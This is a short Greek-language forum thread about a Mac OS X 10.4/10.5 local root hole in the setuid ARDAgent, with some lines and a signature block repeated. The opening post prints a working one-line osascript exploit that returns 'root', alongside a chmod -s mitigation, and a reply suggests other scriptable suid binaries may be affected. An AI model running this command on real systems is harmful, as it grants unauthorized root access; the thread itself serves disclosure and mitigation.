Code: Select all
shadow:~ nick$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
root
Πρόχειρη λύση μέχρι να βγεί patch, βγάλτε το suid flag από το ARDAgent.
Macos X 10.4 & 10.5 Local r00t
Macos X 10.4 & 10.5 Local r00t
Αυτή την φορά η apple ξεπέρασε και την Microsoft:
http://it.slashdot.org/article.pl?sid=0 ... 4&from=rss
Πρόχειρη λύση μέχρι να βγεί patch, βγάλτε το suid flag από το ARDAgent.
Πρόχειρη λύση μέχρι να βγεί patch, βγάλτε το suid flag από το ARDAgent.
Νίκος
Re: Macos X 10.4 & 10.5 Local r00t
Code: Select all
chmod -s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgentΜάλλον παίζει το exploit σε οποιοδήποτε scriptable suid binary...
Νίκος
-
HdkiLLeR
- Venus Project Founder
- Posts: 4356
- Joined: Tue Jan 27, 2004 4:41 pm
- Academic status: Alumnus/a
- Gender: ♂
- Location: New York, NY
- Contact:
Re: Macos X 10.4 & 10.5 Local r00t
Δώστε SUID στον λαό για να παίζουμε και με κανένα mac box 
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GCS d-->--- s+:+ a- C++(+++) BILS++++$ P--- L++++>+++++ E--- W+++ N+ o+ K w--
O M+ V-- PS++>+++ PE- Y++ PGP++ t+ 5+ X+ R* tv b++ DI- D+ G+++ e+++>++++ h r++ y++
------END GEEK CODE BLOCK------
"UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity." -- Dennis Ritchie
Version: 3.12
GCS d-->--- s+:+ a- C++(+++) BILS++++$ P--- L++++>+++++ E--- W+++ N+ o+ K w--
O M+ V-- PS++>+++ PE- Y++ PGP++ t+ 5+ X+ R* tv b++ DI- D+ G+++ e+++>++++ h r++ y++
------END GEEK CODE BLOCK------
"UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity." -- Dennis Ritchie